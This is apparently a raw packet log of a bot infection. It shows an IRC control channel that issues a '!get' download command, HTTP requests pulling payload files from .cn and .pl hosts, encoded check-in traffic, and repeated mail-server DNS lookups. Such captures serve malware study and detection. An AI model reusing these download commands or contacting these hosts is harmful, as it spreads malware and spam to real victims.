VICTIM: NICK hmlwdvxlUSER e020501 . . :- VICTIM: JOIN &virtu ATTACKER: PRIVMSG hmlwdvxl :!get http:/goasi.cn/ex/a.php VICTIM: GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: goasi.cnPragma: no-cache ATTACKER: GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive ATTACKER: GET /dll/ron.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: onuka.cnConnection: Keep-Alive VICTIM: zzf\177\210`\375\243PD\266\330\210&r\353\231\250USA\000v7z\360\302\327\177Cwl\3363X\002\235\026\004\000HELO\000 VICTIM: zzf\177\210`\375\243PD\266\330\210&r\353\231\250USA\000v7z\360\302\327\177Cwl\3363X\002\235\026\017\000ID_CML C0000007\000 ATTACKER: GET /dll/abb.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: brenz.plConnection: Keep-Alive ATTACKER: GET /dll/em.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: onuka.cnConnection: Keep-Alive VICTIM: \001\000\000\000\354\337a\032 VICTIM: \025\310\3741\225 ?\031\372!f@\344!\326.\205\222aD'f\351)q\275\365\025\310\3741\226 ?\031\370!g@\350!\304/\231\217\325@\354!a@\025\310\3741\224 ?\031\370!i@\350!\324%\237\224\312/\202!\240\323\215;\025\310\3741\227 ?\031\370!h@\350!\327%\202\205\3202\354\a@\354\025\310\3741\226 ?\031\376!i@\356!\315\$\236\225\3320\211!b@\025\310\3741\227 ?\031\370!h@\350!\315\$\236\227\3062\354Va@\354\025\310\3741\246 ?\031\365!h@\377!\330)\202\227\3062\354&a@\354\a@\354Ik@\354!a@\354!bA\027\337\3607\206 ?\031 VICTIM: \000\002\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\004\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\006\001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\010\001\000\000\001\000\000\000\000\000\000\003aol\003com\000\000\017\000\001 VICTIM: \000\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001 VICTIM: \000\002\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\004\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\006\001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\010\001\000\000\001\000\000\000\000\000\000\003aol\003com\000\000\017\000\001 VICTIM: \000\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001 VICTIM: +\004\000\000\001\000\000\000t\000\000\000\000\000\000\000\000\000\000\000\005\001(\002\000\000\000\000\000\000\000 VICTIM: \372\003\000\000\001\000\000\000t\000\000\000\000\000\000\000\000\000\000\000\005\001(\002\000\000\000\000\000\000\000 VICTIM: \000\002\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\004\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\006\001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\010\001\000\000\001\000\000\000\000\000\000\003aol\003com\000\000\017\000\001 VICTIM: \000\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001